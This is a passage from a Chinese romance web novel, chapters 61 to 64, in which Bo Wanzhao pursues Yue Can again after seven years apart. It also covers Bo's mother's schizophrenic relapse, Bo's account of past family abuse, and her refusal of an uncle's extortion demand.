薄晚照送人到门口,门关上后,她低着头,轻轻笑了笑。 状态不太好,薄晚照一整天都居家办公,下午开了两场视频会议,实在撑不下去,才回到床上睡了会儿。 醒来是傍晚时分,外面仍下着小雨。 房间里微光,但更多是黑暗,她讨厌这种黑暗吞噬光亮的感觉,分外压抑孤独。 薄晚顺手开了灯,足够明亮的环境给她安全感,不知道什么时候开始发烧的,她浑身发烫。 可能是体质原因,她时常容易低烧。 薄晚照看看手机上的时间,六点一刻。她想了想,打了一通语音电话出去。 越灿也整天窝在家里,正在剪辑视频素材,手机震动起来,她歪头一看,一串熟悉的字母,bwz。 大概过了半分钟,她才拿起手机接听。 薄晚照问:“在家吗?” 越灿没回答在不在,先问着:“什么?” 薄晚照:“我发烧了,你那有退烧药吗?” 因为想过很多遍不再管薄晚照的事,越灿下意识回答:“没有……” 薄晚照顿了顿,“那好吧。” 越灿听她的声音比上午更加虚弱,结束通话后,她继续剪辑工作,却怎么也集中不了心思,最后还是出了趟门。她家确实没药,得去楼下药店买。 她下楼以后才发现天空中飘着细雨。 十分钟后,薄晚照听到门铃声,站在门外的是越灿。 越灿把药递给她:“找到了,有一盒。” 薄晚照直接拉着她进屋,拿干净毛巾给她擦干头发上的雨丝,她看破了药是越灿临时跑去买的,但什么都没说,只是目光轻柔地盯着她脸庞。 越灿实在受不了薄晚照用这种眼神看自己,带钩子一样,满眼都是不单纯,她适时躲开视线。 薄晚照不再隐忍那些心思,以前隐忍得太多,她柔声问:“肯理我了?” 越灿抬眸瞧她,看清着她眉眼,多年的憋屈又涌了上来,她咬牙脱口而出:“谁想理你?” 看到越灿跟自己赌气,薄晚照反而感到安心,比不冷不热让她安心……“别躲我了,好不好?” 越灿见过薄晚照温柔,冷傲,冲动,理智,唯独没见过薄晚照像这样卑微的时候,她愣神望着薄晚照,一开口嘴上依旧不饶人,但口吻软了软:“不好。” 薄晚照静了静,又说:“明天我要出差,要下周三才回来。” 越灿:“你跟我说干嘛?” 薄晚照:“昨晚答应你了,以后什么都告诉你。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 你说追我是认真的吗? 一个常年封闭内心的人说出这句话,并不算容易。 薄晚照理解越灿昨晚所说的,喜欢她这个人很累。所以这次回南夏,她想做得更好,如果越灿对她还有一点喜欢,那她来主动,她不会再让越灿喜欢得辛苦。 雨声沙沙,下得温柔。 越灿记不清楚昨晚说了什么,但薄晚照跟她说过的两句话她有印象,一句是不会再离开,另一句就是以后什么都告诉自己。 越灿无声望着她,感觉需要静一静,心里太乱了。 薄晚照清楚离开七年的伤害和隔阂,不是几句话就能消除,她不着急,只要越灿不回避她。 “我出差这几天,能帮我照顾一下小脏脏包吗?” 越灿低头看看蹲在她们腿边的小猫,乖巧卖着萌。 薄晚照:“她最近有点软便,要每天给她喂点益生菌。” 越灿答应下来,“嗯。” 薄晚照浅浅笑了下,又说:“她比较黏人,你有空的话,能不能每天过来陪她玩会儿?” 越灿抬头看她。 薄晚照:“我要求太多了?” 越灿又看看小脏脏包,“知道了。” 薄晚照拿起手机给越灿发了串数字,“密码给你了,你想什么时候来都可以。” _ 翌日出差,薄晚照烧退了,但还是咳嗽,正好是飞京海市。 她曾经在这座城市工作过,京海天气很好,总是阳光明媚,是她向往的城市,但她在京海的那段时光状态很差,是阴暗的,从未觉得阳光温暖。 这次出差她没有太繁重的任务,谈合作,看秀,以及应酬闲逛。 时隔几年旧地重游,心境不一样,她才发现这座城市的繁华漂亮。 京海阳光和煦,看到漂亮的风景,吃到好吃的食物,薄晚照都会拍下来,这原本是越灿的习惯。这些年,她有努力像越灿那样,阳光积极地面对生活。 午餐时间,薄晚照拍了张照片,照常给越灿发过去。 像曾经越灿要求的那样报备。 越灿没有回她消息,她也不介意,碰到好吃的好玩的,都给越灿发一发,也发仅某人可看的朋友圈。 周末得闲,越灿睡到快午间才起,她躺在床上打开手机,就看到薄晚照给她发的微信消息,她发了发呆,别扭着还是没回。 她又想到当初的卑微主动,却始终得不到回应的无助难过,她从没受过那种委屈,她以为自己应该一辈子都不想理薄晚照了,可是…… 她承认自己还惦记,但她害怕喜欢薄晚照,怕重蹈覆辙,万一傻乎乎再动了心,哪天又被一脸理智地推开。 她总觉得自己在薄晚照心里没那么重要,她不是薄晚照的必须选项,薄晚照随时可以扔下她。 毕竟被抛下过一次。 心烦意乱想着,直到钟然给她打了个电话,越灿才止住紊乱的思绪。 钟然大大咧咧问着:“你起来没,我们要出发了。” “准备起来了,待会儿见。”越灿搁下手机,中午钟然洛扬要请她吃饭,应该是要正式宣布在一起的事。 越灿起床洗漱,只擦了一层防晒就出去了。 半小时后她开车抵达约好的餐厅,钟然和洛扬先到了,她透过玻璃门看到两人又搂又抱,腻歪得很。 钟然看到越灿过来,立马规矩了些,那天晚上的尴尬场面还历历在目,她想想又要脸红,不过该说的话还得说:“灿灿,正式介绍一下,我女朋友洛扬。” 越灿倒是自然,跟往常一样,她笑着望向二人,“恭喜啊,一起脱单了。” 洛扬笑了笑,“点菜吧,你想吃什么随便点。” 越灿说笑:“那肯定要宰你们一顿。” 钟然看到越灿毫不意外的反应,觉得自己白担心了,她忍不住问越灿:“我们在一起了,你不吃惊吗?” “你们平时不就跟小两口一样吗?”越灿稀松平常地说,她确实毫不惊讶,可能旁观者清当局者迷吧。 钟然:“啊?有吗?!” 洛扬笑着看她:“我就说了灿灿不会意外,就你像个傻子一样。” 钟然阴阳怪气说:“行,你们都聪明,就我最傻。” 洛扬满眼笑意,“生我气了?” 钟然一脸委屈,“我哪敢啊?明明只有你欺负我的份……” 洛扬:“什么时候欺负你了?” “洛扬,你还好意思问?我……”钟然不敢再继续说下去,说下去就是要打码的内容了。 越灿挑眉看看餐桌对面两人,一股恋爱的酸臭味,她调侃说:“你们要不要收敛点,考虑一下我的感受?” 钟然开玩笑说:“羡慕啦?” 越灿无奈默了默,实话实说,有点羡慕,虽然钟然和洛扬到现在才走到一起,但这么多年,她们都陪在彼此身边,互相陪伴的时光都美好。 如果薄晚照那年没有离开,她们也会是这样吗? 又做这种假设了,越灿喝了喝水,恰好是柠檬水,越喝越酸。 边吃饭边聊天,越灿又收到了一条消息,薄晚照给她报备午餐,她突然觉得现在的薄晚照和当年的自己有得一拼,厚脸皮得不行。 都没搭理她,还一直发。 越灿点开图片看了看,然后退出去,刷刷朋友圈,她刷到薄晚照发的动态,是京海市的日出照片,美好浪漫。 她敏感察觉到薄晚照的这条朋友圈是仅自己可见。 越灿盯着照片看了许久,心中五味杂陈,她曾经去京海市时,发过一条带定位的动态,说没能拍到日出。拍日出当然是个幌子,她只是想告诉薄晚照,自己又去京海了…… 但无果。 钟然:“灿灿?” “嗯?”越灿目光离开手机屏幕,看向钟然,“什么?” 钟然睁大眼:“我刚刚说那么多,你一句都没听到?” 越灿处变不惊反问:“所以你说了什么?” 钟然说:“给你介绍对象,免得就剩你一个单身狗。” 越灿笑着摇摇头,“不用。” 洛扬问:“你最近有心事?” 越灿没承认,也没否认。 洛扬想到那天开业宴上,越灿对待薄晚照的态度显然是放不下,越灿所表现出的淡然,更像是种掩饰。 “灿灿,”洛扬想了想,还是说,“我觉得洒脱不一定是放下,顺从自己的真实想法也是洒脱,是吧?” 越灿愣了愣,很快会意。洛扬还是跟以前一样,话少,却又一针见血。 钟然:“你们说什么加密通话呢?” 洛扬无奈一笑。 越灿走了走神,洛扬没说错,佯装出来的放下不是洒脱。 下午越灿去了趟健身房,晚饭过后,她去了楼下薄晚照那,一开门小脏脏包就知道有人投喂了,翘着尾巴一路朝她小跑过来,憨态可掬。 “小脏脏包。”越灿弯腰将猫抱起,吸了吸小猫脑袋。 “喵。” 越灿笑说:“这么会撒娇,乖,给你好吃的。” “喵。” 晚上没事,越灿留在房间里,多吸了会儿猫。小脏脏包在逗猫棒的诱惑下上蹿下跳。 越灿一面逗猫一面走神。 小脏脏包,薄晚照每次叫这个名字的时候,会想起自己么?还有她们那段在梧桐巷的时光。 越灿原本也想养猫的,但一逗猫她就容易想到薄晚照,后来工作也忙,她一直没把养猫的事情提上议程。 茶几上的手机嗡嗡震动,伴随着来电提醒。 越灿放下逗猫棒,摸过手机看,盯了会儿,磨蹭着接听。 又是bwz。 她曾经特别爱听薄晚照从话筒里传出来的声音,那时正处于青春悸动的年纪,打个电话,都能幻想着像对方贴在自己耳边说悄悄话。 “我今天提前结束工作了,现在回酒店了。” 薄晚照的嗓音依然没变,不知道是不是因为疲惫,轻柔得像是在暗戳戳撒娇,越灿听着,心不在焉“嗯”了声,说这么清楚,跟向女朋友报备似的。 缓了缓,越灿一本正经问:“有事啊?” 薄晚照问:“小脏脏包乖吗?” 这两天越灿也回薄晚照一些消息,都是跟喂猫有关。她中规中矩回答:“吃饭喝水都很乖,没有软便了,我陪她玩了会儿。” 薄晚照笑了笑,“嗯,她黏你吗?是不是很黏人?” 越灿轻轻蹙眉,薄晚照轻声说话听得她……烦。 薄晚照又说:“我今天给你买了礼物,回来送给你。” 每一句都暧昧。 越灿还是没说话,她都怀疑薄晚照是有意在撩拨自己,她莫名其妙的,呼吸乱了下。 双双都沉默了好几秒。 越灿没有挂断,她心乱摸着手边的小猫,最终还是忍不住开口:“薄晚照……” 薄晚照:“嗯?” 越灿直直问她:“你说追我是认真的吗?” 薄晚照听到这句话,一直紧绷的心弦终于稍稍放松。 须臾,越灿听到对面传来的回答一丝不苟:“嗯,认真的。” 回南夏是薄晚照深思熟虑之后的决定。 她曾经被人问过,人生中有没有遗憾的事。她在痛苦中长大,一路挣扎,尽全力彻底摆脱了阴暗人生,没什么遗憾。 唯一让她遗憾的,就是二十五岁的自己太脆弱狼狈,没有勇气去回应一个女孩赤忱热烈的喜欢。 既然遗憾还能有弥补的可能,这一次,她不想再错过。 越灿咬咬唇,薄晚照给她承诺了,她可以相信吗? 薄晚照还有些咳嗽。 越灿听见,“你还没好?” 薄晚照说:“已经快好了,在外面有好好照顾自己,别担心我。” 这话说的自己多惦记她一样,越灿立马轻声反驳:“谁担心你啊。” 薄晚照一顿,笑得温柔好听:“越灿啊。” 第62章 她才没这么好追。 通话之后,越灿照旧收到薄晚照的各种报备,比先前更细致了,她每次喂完猫,也顺手给薄晚照发几张小脏脏包的照片。 就这样,时隔七年,两人又开始联系,依然如七年前一样,带着不清不楚的暧昧。 越灿时不时想到那晚的热吻,她跟薄晚照的关系似乎注定纯洁不起来,薄晚照一回来,又纠缠不清了。 周三越灿有拍摄。 化妆的时候,她无聊刷着手机,因为先前搜索过“应激障碍”,现在她时不时能收到相关推送,她每次刷到,都会点进去看一看。 她回忆着,在离开南夏前,薄晚照的状态好像就不太好,但那时薄晚照什么都没跟她提过,她也没想太多,单纯以为薄晚照只是容易做噩梦。 那这些年她一个人是怎么过的?越灿知道薄晚照不像表面上那么时刻坚强,也会有脆弱的时候,而且很需要拥抱…… 越灿不禁想了许多,像回到了以前的状态,分开的日子,她总是*担心薄晚照一个人过得不好。 不过再遇之后,薄晚照的变化很大,不似当年那般阴郁,也没那么消瘦了。应该都好起来了吧? 手机弹出微信消息。 【bwz】下飞机了,晚上一起吃饭吧 又是实时报备,越灿打字回她:我最近有拍摄,要控制饮食。 【bwz】在家吃,我做轻食 越灿没再拒绝,她盯着消息回复出了出神…… 刚一回来就要见面,这么急? 【bwz】我六点半左右到家,要是无聊,让小脏脏包先陪你。 化妆师看看镜子冷不防问:“看什么笑这么开心?” 越灿抬头,反问着:“我有笑吗?” 不到傍晚就收工了,越灿一个人待在家的确无聊,她直接去了楼下,小脏脏包又在第一时间前来迎接。 薄晚照给的报备很准确,六点半左右,响起了门铃声。 越灿怀里还抱着小猫,走去开门,薄晚照站在门口,除了行李箱,手里还提着礼袋。 薄晚照只是试着按按门铃,看到越灿打开门,瞬间添了几分踏实感。 两人站在门口对视两秒。 小脏脏包叫了叫,“喵。” 薄晚照笑,靠近摸着越灿怀里的小猫,抬眸又问着越灿:“等很久了?” “没,刚来。”越灿说完,也低头逗着猫,眼神没在薄晚照脸上停留太久。 薄晚照进屋,第一时间将礼物交给越灿说:“送给你的。” 香水,还有一套小猫纪念品。 “喜欢吗?”薄晚照迫不及待问,这些年她每次看到适合越灿的东西,或是越灿可能喜欢的东西,她都想买下来,如今终于有机会送。 “你怎么知道我喜欢这个品牌的香水?”越灿意外,总觉得没有这么巧合,她拍过一期香水主题的视频,提过一次自己最钟爱的品牌,那是好几年前的事了。 薄晚照:“猜的,你平时常用。” 越灿语塞,是自己敏感了么?薄晚照当初那么决然离开,压根没想过回来,怎么会关注她的视频呢? 晚上薄晚照做了低卡三明治,酸奶蔬菜沙拉。 越灿觉得薄晚照不开餐厅可惜了,减脂餐也能做得可口,比外面轻食店卖的好吃多了。 薄晚照十分严谨:“我算好了热量,可以吃完,不到五百卡。” 越灿默然瞧瞧她,薄晚照好起来时贴心得不行,但一旦冷起来,又跟没有心似的。她都见识过。 薄晚照问:“不合口味吗?” “没有。”越灿摇摇头,大概是留下后遗症了,她怕薄晚照的忽冷忽热,忽冷忽热最磨人了。 薄晚照又说:“改天我再给你做好吃的。” 越灿本来就馋,被薄晚照一说,她埋怨吐槽:“你知道我最近要减肥,还……” “勾引”两个字太暧昧,越灿戛然而止,没说下去。 薄晚照挑了挑眉,然后帮她说了出来:“还勾引你?” 越灿:“……”不知道为什么,薄晚照明明一本正经说的,听起来却格外不正经。 薄晚照笑点很低似的笑了笑,以前越灿就常这么说。 越灿余光瞥了瞥,大概是年龄和阅历能赋予女人更独特的气质,足够成熟的薄晚照,笑起来时变得更温柔撩人。 薄晚照问:“明天你想吃什么?” 越灿差点被某人套路进去,她缓了缓,“我又没答应明天也一起吃。” 薄晚照十足耐心地说:“那后天?” 越灿回她:“店里忙,接下来晚上得加班。” 薄晚照望着她,一时无声。 越灿被盯了会儿,怕被误会什么一样,补充一句:“没骗你。” 薄晚照这才应了应,“嗯。” 换季上新款时,是工作室最忙的时候,虽然她们决定再招一名模特,但一时半会很难挑到合适的。 工作室旺季时,除了配合拍摄,越灿也帮点其他忙,一连几天,她晚饭都在工作室解决。 “吃点东西晚上再拍吧,我饿得不行了。”宝儿放下相机,跟越灿提议说。 晚餐是火锅,越灿只有吃清汤锅的份儿,眼睁睁看着其他人吃香喝辣。 正准备开吃,越灿又看到一个熟悉的身影出现在工作室,四天来了两趟,薄总最近似乎很闲。 “姐,还没吃吧?一起。”宝儿已经跟薄晚照熟络起来,热情打招呼。 薄晚照没客套,在越灿旁边的空位坐下,她带了些甜品,正好分给大家吃。 越灿低声说:“你怎么又来了?” 薄晚照说:“下班早,来你这边看看。” “有什么好看的?前天才来过。”越灿嘀咕。 薄晚照望着她,“等你一起下班。” 说得直接,越灿瞧了薄晚照一阵,剩无言以对。 薄晚照将涮好的牛肉夹到越灿碗中,以前照顾惯了,动作自然而然。 “灿灿,我可太羡慕你了,你姐对你真好。”宝儿发出夸张的感叹,“我也想要个姐姐。” 薄晚照莞尔。 宝儿想起什么,顺便问薄晚照,“姐,你是单身吗?” 越灿抬了抬眸。 薄晚照:“是。” “那你喜欢女孩子吗?”宝儿更大胆地问,“就是前天我那个朋友,她有点想认识你……” 潜台词很明显,越灿余光漫不经心瞅一眼身旁的人。 “我是喜欢女孩。”薄晚照没有片刻犹豫,认认真真回答,“不过我已经有喜欢的人了。” 越灿听到后呆了呆,她第一次听到薄晚照说“喜欢”二字,有种不真实感,因为她一度怀疑,薄晚照究竟有没有喜欢过自己? “哇,那没机会了。”宝儿笑着表示遗憾,她继续八卦,“你们还没在一起吗?” 薄晚照温文尔雅笑了笑,“没有,我还在追她。” 越灿一言不发,越听越别扭。 “那一定是超棒的女孩子吧。”宝儿更不可思议了,毕竟薄晚照看着不像是会主动追人的类型。 薄晚照大方承认,“嗯,她很好很优秀。” 越灿瞟了薄晚照一眼。 薄晚照直视她目光,极轻反问:“我说错了?” “姐,你改天带她一起过来玩,认识一下。”宝儿热情邀请,她又看看越灿,“你见过吗?是不是超漂亮?” 越灿:“……” 薄晚照只是抿唇淡笑了笑,没说破什么。 吃完晚饭,越灿又拍摄了一个多小时,薄晚照在一旁陪着她加班,目不转睛望着,镜头下,越灿张扬自信的模样一如既往吸引人。 越灿见薄晚照一直等到自己收工,“你不觉得无聊?” “不无聊。”薄晚照只觉得自己错过太多,如果可以,她很想亲眼看见越灿怎么一点点从青涩变得成熟。 越灿说:“走吧。” 室外晚风微凉。 薄晚照:“坐我的车。” “嗯。”越灿拍摄的确站累了,听薄晚照这么说,她也懒得自己开车,反正也住一块儿。 上车后,越灿又心猿意马起来,还悄悄想着薄晚照那句“有喜欢的人”,在心里反复确认着。 薄晚照说喜欢她。 越灿清楚薄晚照不是会轻易说喜欢的人…… 薄晚照偏头看看越灿,“介意别人知道我们的关系吗?” 越灿回神的同时回过头,她反问薄晚照:“我们有什么关系吗?” 薄晚照看了她片刻,静静说:“我不想当你姐。” 越灿目光怔怔,感觉薄晚照说出这句话别样矛盾,当初说只能把自己当妹妹的明明也是她。 过了七年才后悔么? 越灿心乱着,随口接了句:“那你想当什么?” 薄晚照没有弯弯绕绕,言简意赅说:“女朋友。” 足够直接的回答,越灿猝不及防陷入沉默。 时隔七年,薄晚照也知道自己的回应来得太迟,但不管来不来得及,她都想明确说出来,而不是像当初一样,要借着幌子亲密。 越灿强忍着错乱的心跳,她转过头看了看窗外,装傻没有应声。 薄晚照没有等着回复,知道简单几句话还远远不够,她看看身侧,“安全带。” 越灿还没回神。 薄晚照轻轻俯过身,已经帮越灿拉过安全带。 身体贴近,越灿心跳更乱,转头时眸光悄然落在薄晚照脸庞。 狭小空间里,两人咫尺对视着,露骨的暧昧急剧膨胀。 越灿目光下意识扫过薄晚照红唇,薄晚照留意到越灿的细微眼神,于是稍稍顿了顿,没拉开距离。 都是成年人,微动作带着明显暗示,更别说两人呼吸已经互相撩拨在一起。 越灿知道自己稍微凑一凑就能吻她的唇,也知道亲上以后薄晚照非但不会拒绝,反而还会主动吻自己。 但她没有这么做。 她才没这么好追…… 薄晚照拉开距离,系好安全带后,然后拧开一瓶纯净水,不动声色给越灿递了过去。 第63章 心动肆意。 薄晚照正准备启动引擎,来了个电话,她拿过手机接听,“小姨?” 越灿喝着水,她不知道薄晚照还有个小姨,只知道薄晚照生父很早就去世了,一直跟薄母相依为命。不过薄晚照的事,她不了解的多了去了。 薄云在电话里说得着急,薄芹突然又犯病了,送去了医院。 薄晚照:“行,我马上过来……” 虽然薄晚照始终保持着冷静,但越灿能听出来挺急的。 薄晚照挂断电话。 越灿迟疑片刻,问:“有急事?” 薄晚照:“我要去趟医院。” 越灿:“医院?” 薄晚照转头看了看她,没有立马接话。 越灿哑住,又是不能告诉自己的事?她眼神暗了暗,明明那天还说,以后什么都跟自己说。 “我妈突然发病了,有点严重,我得过去一趟。”薄晚照跟她坦白道。 越灿的第一想法是陪薄晚照一起去,但她又知道这些是薄晚照的禁区,所以她持续沉默着。 薄晚照也沉默了一阵,还是试着主动问了问越灿:“要一起去吗?” 越灿点头,“嗯。” 薄晚照的确很不愿意让越灿看到她糟糕的一面,但这次回来,她也不想再瞒着越灿,她想让越灿看到她真实的生活,再决定要不要接受自己,这对越灿来说也更公平。 不久抵达目的地。 还没进入病房,越灿就听到歇斯底里的尖叫声,她走到门口,第一次见到薄晚照的母亲,一个苍白清瘦的女人,精神失控时凶狠骇人。 “你别进去,她失控的时候会伤人。”薄晚照只让越灿站在门口。 薄云看到薄晚照赶过来,满面愁容。 “小姨,情况怎么样?” 薄云直言:“情况不太好,这次是急性发病,以前没这样过。” 薄晚照:“医生怎么说?” 薄云:“接下来可能要封闭治疗一段时间。” 薄芹尖叫了一阵后,又开始蜷缩在角落不停窃窃私语,“……他又回来了……他不会放过我的……快走……快走……” 薄晚照想上前安抚几下,薄芹却浑身战栗着,用惊恐的目光望着她,嘴里不停重复:“快走……快走……不要回来……不要回来……” “都是幻觉,不要怕,现在很安全,没有人伤害你。”薄晚照耐心,反复告诉她,“都是假的,没事的。” 越灿盯着眼前的画面,薄晚照情绪稳定,熟练冷静安抚薄芹的模样,让人心疼。 “嗯……是幻觉……又是幻觉……”薄芹尝试告诉自己是幻觉,可马上又一个劲摇头,“不是的……他真的回来了……我没撒谎……他会打死你……快走……快走……” “妈,冷静点儿,都是幻觉,没什么好怕的。” 薄芹开始推搡着薄晚照,“你快走……让你别回来了……还回来做什么……他又要打你了……怎么办……要打你了……” 越灿不知所措,从没见过这种场面,看薄晚照不停被推着骂着,她一股脑想上前护住,但被一旁的薄云及时拦了拦。她知道薄晚照为什么总是受伤了。 吃了药薄芹状态还是不稳定,只好注射镇定剂,强效的镇定剂发挥作用后,薄芹昏睡过去。 走出病房,薄晚照问薄云:“怎么会这么突然?” 薄云告诉薄晚照:“最近有个男的来找过她两次,说是她小叔子,不知道有没有关系?” 薄晚照想了想,“有说什么吗?” 薄云摇摇头,“我问了你妈,你妈什么也不说,又说是找错了。” 薄晚照:“对方有留什么联系方式吗?” “有,他还说想找你……”薄云问,“你认识他?” 薄晚照皱了皱眉,猜对方是冯春生的弟弟,也难怪薄芹反应会这么大,冯冬生和冯春生长得太像了。她问薄云要了电话,“小姨,这件事我会处理好,不用担心。” 薄云:“有什么要帮忙的,跟小姨说。” 薄晚照:“嗯,辛苦你了,这么多年照顾我妈。” “哪里,你不知道,她平时都照顾我来着,希望这次快点好起来,本来一直好好的。” 薄晚照忙了两个多小时,才把事情处理好,越灿帮不上什么忙,除了全程陪在她身边。 薄芹要留院封闭治疗,家属不能陪同,只有规定时间才能探视。 走出医院,夜色已浓。 越灿很安静。 薄晚照看她,柔声问:“吓到了吗?” “没有……”越灿不知该说什么,看薄晚照的反应,显然不是第一次经历这些。她知道薄晚照很长一段时间都过得不好,今晚看到了具象的画面,冲击有点大。 有点累,薄晚照想在外面多透透气,她问越灿:“能陪我走走吗?” “嗯。”越灿应着,并肩走了一小段路,她又小声问,“以前阿姨也是这样吗?” 薄晚照点着头,“她有精神分裂,精神分裂很难痊愈,复发是常有的事,严重时就会这样。” “而且……”薄晚照看看越灿,继续解释着,“而且有一定的遗传几率。” 越灿虽然不太了解这方面,但多少也知道精神疾病会有遗传倾向。 “基因和环境都有影响,我妈是因为长期被家暴虐待,我上初中的时候,那个男人出车祸死了以后,她开始精神失常。” 这句话的信息量很大,越灿好一会儿都缓不过来,长期家暴虐待,这些只在新闻上看到过的字眼,被薄晚照亲口说出来,她听得心一揪一揪。 “因为有精神问题,她很难找到工作,但为了能供我读书,她还是去外面打零工,被嘲笑被欺负,时间一长又没有及时得到治疗,她病情越来越严重,生活变得不能自理,那时候我压根负担不起精神治疗的费用,就是最困难的那段时间,你妈帮助了我。” 薄晚照不卑不亢说了许多,没有想博取同情的意思,只是客观陈述那些破旧的过往,那么痛苦的经历,也就三两句话说清。 越灿这才了解到薄晚照完整的过去,才明白为什么第一次见面时,薄晚照那样死气沉沉毫无生气,谭茗帮助了最无助时的薄晚照,所以不管自己怎么任性惹人嫌,薄晚照都会像谭茗说的那样,把自己当妹妹对待。 “你妈真的帮了我很多,我很感谢她。” “你的应激障碍,也是因为……”越灿吞吐,还是说不出口“虐待”这些词语,但这些事又是真实发生在薄晚照身上的。 “我对雨天应激,会经常闪回过去的画面,”薄晚照垂垂眼,继续说着,“因为以前一下雨,我妈和我就会被打,我手臂上的那些疤是烟头烫的……” 曾经好奇的问题,薄晚照在一一跟她解释,越灿越听越难受,像绵密的针不停往心上扎,鼻酸眼热,快喘不过气,她不想薄晚照说下去了,她理解薄晚照为什么不愿提了。 “不提了,”越灿停下脚步,难受打断薄晚照的话,“不想提就不提了。” “我以前过得很糟糕,越灿,我没你想的那么好……”曾经的她坚信,越灿不应该跟她那样的人在一起。 越灿久久沉默着,心情复杂。 被这些事折磨过太多遍,薄晚照现在更多是释然,她看越灿眼眶红着,反过来笑着安抚说:“现在没事了,以前的事困不住我了,都过去了。” 薄晚照越说得释然,越灿越感觉酸楚,她声音都颤了,“那你这些年……” 越灿欲言又止,虽然一句“都过去了”能云淡风轻带过一切,但这些年薄晚照一个人怎么能过得好? “这些年我有好起来。”薄晚照像想证明什么一样,“不会被以前困住了。” 越灿心间又酸又疼。 薄晚照无奈笑了笑,她真的很想抱眼前的人,但此刻,她又不想越灿是出自同情来抱她…… 夜深风凉,她看越灿穿得薄,“走吧,我们回去。” 发生太多,越灿失魂落魄跟着她脚步,秋风吹着,树叶簌簌落了一路。 _ 薄晚照主动联系了薄云给她的那个号码,拨通后,传来一个口音很重的中年男声:“你谁啊?” “你打扰我妈做什么?”薄晚照开门见山说。 对方愣了好一会儿,“哦,你是冯琳吧?” 薄晚照已经很多年没听过别人叫自己这个名字,冯春生死后,她就改了姓名,名字是初中班主任帮她取的,且向花间留晚照,取温暖宁静的寓意。 “我不是。” “怎么不是了?你改了名也是冯家人。”冯冬生吊儿郎当说着,“什么打扰不打扰的,那天碰上了,亲戚间打个招呼,你妈也是,也不留我吃顿饭。” “冯春生早就死了,我们现在跟冯家没有任何关系。你找我们干嘛?” “你这丫头怎么说话呢,我好歹也是你亲叔,怎么就没关系了?”冯冬生说着,“你现在混得这么好,网上都能搜到你的新闻了,真是出息了大老板啊,我们冯家也是出了人才,你不得请你叔吃顿饭?” 薄晚照猜他目的不简单,顺手开了免提,又用iPad开了录音,她不紧不慢问:“冯冬生,你到底什么意思?” “哎,说话不要这么冲嘛,你爹死了,就剩我这一个叔,不得联络一下感情?家里本来就没几个人。” “联络感情?”薄晚照质问着,“当年我妈跪下来求你帮忙的时候,你谈感情了吗?” 冯冬生:“那时候我也困难啊,你爸都把家底嚯嚯光了,哪有钱,要是有能力,我肯定帮衬你们。” 薄晚照不语,她清楚冯冬生就是个二流子,以前都是靠冯春生养着,冯春生死后,冯冬生眼见着捞不着半点油水,再加上薄芹精神状况出了问题,他跟碰着瘟神一样避开她们。 “这么多年都过去了,还计较啥,一家人不说两家话。”冯冬生缓和了口吻,“你现在能挣钱了,也帮衬一下叔吧,以前我还给你买过糖呢。” 从小到大经历过的坎坷太多,即便碰到这种情况,薄晚照依旧冷静镇定,她冷笑一声,“冯冬生,你真好意思,八百年不联系,张口就想要钱,我有什么义务给你钱?” 冯冬生振振有词:“就凭血浓于水,我是你亲叔啊。” 薄晚照:“别想了,不可能。” 冯冬生听这语气强硬,自己态度也变了,“你这么不讲情面,不怕我上你公司去找你?你现在也是有脸面的人,到时候叔给你丢脸了,可别怪我啊。” 薄晚照反问:“你威胁我?” 冯冬生嗤笑一声:“什么威胁说这么难听,太久没见了,就想看看我的好侄女现在过得怎么样。” 薄晚照故意安静了一阵,果不其然,对面又继续说了起来。 “你给我五十万吧,我不打扰你们娘俩生活了,行不?你现在挣大钱,五十万对你来说不算什么吧?” 薄晚照:“五十万?你知道敲诈超过三十万要十年起步吗?” “亲人间能叫敲诈?”冯冬生拔高音调说着,“你这丫头说话怎么总是这么难听呢?你挣了钱,帮家里人改善一下生活,也是情理之中嘛,我现在是真的缺钱,才找你的,否则也不会厚着脸皮来麻烦你,就当是借的,以后还你。” 薄晚照不说废话,“我不愿意给,说得够明白吗?” “你……”冯冬生明显恼了,放着话说,“你是真不怕我去你公司给你丢脸?” 薄晚照不再多费口舌,“该说的我都说了,挂了。” _ 越灿喜欢睡懒觉,工作一般都安排在下午和晚上。下午拍摄,一停下休息,她就立马拿着手机看一眼。 一旁的工作人员笑问:“等谁消息啊?” “没。”越灿心不在焉笑笑,薄晚照这两天都没怎么给她报备,这才多久,就把自己晾下了?太忙了?还是因为薄芹住院的事没有心情? 收工回到家,越灿发现家里又被收拾得整洁,桌上还放着几个保温桶,就知道胡姨来过了。 谭茗交待的,胡姨每周都会来帮她做两次大扫除,顺便会送些滋补的药膳过来,怕她平时吃太少,气血不足。 在沙发上躺了许久,天都黑了,越灿主动给薄晚照发了条微信过去。 薄晚照开完会才看到消息。 【越灿】你晚上吃了吗?胡姨饭菜送多了,我一个人吃不完,一起。 薄晚照看到后笑得开心,破天荒,有人主动发消息了。她回到办公室,直接给越灿回了个语音电话,“我刚刚在开会,没看到你发的。” 越灿问:“你这两天很忙?” “嗯,有点。”薄晚照不禁试探问,“在等我消息?” 猝不及防被戳中心思,越灿在沙发上翻了个身,“我就随口问一下。” 薄晚照听了后,“越灿。” 越灿哼了哼:“嗯?” 薄晚照低声说:“等忙完这几天,我好好陪你。” 说得太温柔暧昧,越灿听得心口烫呼呼的,还有点酥痒,她趴在沙发上说道:“我不是这个意思。” 薄晚照问:“嫌我烦?” “不是。”越灿回答得更快,显得很不矜持,她转移话题问着,“你什么时候回来啊?” 一问完,显得更急了…… 薄晚照这才笑了笑,“马上回来了。” 这两天的确忙得不可开交,薄晚照顶着疲惫回去,开门后,她看到越灿提前下来了,正在厨房热着饭菜,小猫就守在旁边。 听到开门声,越灿看去,“回来了。” “嗯。”薄晚照换了鞋,这温馨一幕常常出现在她梦里,她望向灯光柔和的厨房,疲惫散了大半。 越灿继续低头忙着。 薄晚照走近后,终是没克制住,带着试探,慢慢从背后将人搂在了怀里。当初越灿就是这么抱她,那种心动肆意的滋味,她记了好多年。 越灿腰肢敏感颤了颤,她回回头,撞见薄晚照正看她的目光。她心都酥软下来,由薄晚照抱着,她强烈感觉到薄晚照需要这个拥抱。 第64章 再这样我不让你追了。 薄晚照一点点试探,靠近,没被拒绝,她悄然抱得更紧。 目光交织在一起,心旌摇曳,越灿手上动作停了下来,她瞥着薄晚照脸庞,又是亲密得适合接吻的距离。 这种距离的对视总是微妙,薄晚照垂了垂眼。 或许是拥抱足够暧昧,红唇情不自禁贴近,鼻尖轻轻蹭在一起,将吻未吻,气息慢慢灼热。 虽然什么关系也没有,但她们不是第一次这么亲热,不过越灿每次都是在喝醉的状态下,而不是像眼下这般清醒。 